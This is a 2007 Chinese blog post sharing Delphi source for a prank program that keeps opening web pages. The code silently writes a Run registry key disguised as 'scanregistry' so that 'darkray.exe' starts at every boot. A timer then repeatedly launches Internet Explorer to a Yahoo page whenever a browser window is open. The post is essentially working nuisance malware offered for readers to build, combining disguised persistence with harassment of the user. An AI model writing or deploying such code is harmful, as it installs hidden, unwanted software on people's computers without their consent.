Subscribe

RSS Feed (xml)

Powered By

Skin Design:
Free Blogger Skins

Powered by Blogger

星期二, 10月 02, 2007

很機車的一直開網頁程式

新增一個TTimer,並點兩下加入事件,其屬性interval設定為100000(不要太慘)

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, registry, shellapi;

type
TForm1 = class(TForm)
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
reg: tregistry;
hwnd:thandle;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
application.showmainform:=true;
reg:=tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('software\microsoft\windows\currentversion\run',true);
reg.WriteString('scanregistry','darkray.exe');
reg.closekey;
reg.free
//form1.Timer1.interval:=100000
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
hwnd:=findwindow('ieframe',nil);
if hwnd <>0 then
shellexecute(0,'open','iexplore.exe','http://tw.yahoo.com','',sw_shownormal);
end;

end.

沒有留言: